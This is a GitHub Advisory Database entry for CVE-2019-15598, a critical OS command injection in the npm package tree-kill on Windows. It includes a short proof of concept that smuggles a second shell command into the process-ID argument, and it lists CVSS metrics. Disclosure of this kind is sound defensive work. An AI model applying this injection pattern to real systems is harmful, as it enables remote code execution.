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Treekill Enables OS Command Injection

Critical severity GitHub Reviewed Published May 24, 2022 to the GitHub Advisory Database • Updated Apr 22, 2024

Package

npm tree-kill (npm)

Affected versions

< 1.2.2

Patched versions

1.2.2

Description

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Steps To Reproduce:

Create the following PoC file:

var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in terminal:

npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

The HACKED.txt has been created

References

Published by the National Vulnerability Database Dec 18, 2019
Published to the GitHub Advisory Database May 24, 2022
Reviewed Apr 22, 2024
Last updated Apr 22, 2024

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.402%
(74th percentile)

Weaknesses

CVE ID

CVE-2019-15598

GHSA ID

GHSA-j7fq-p9q7-5wfv

Source code

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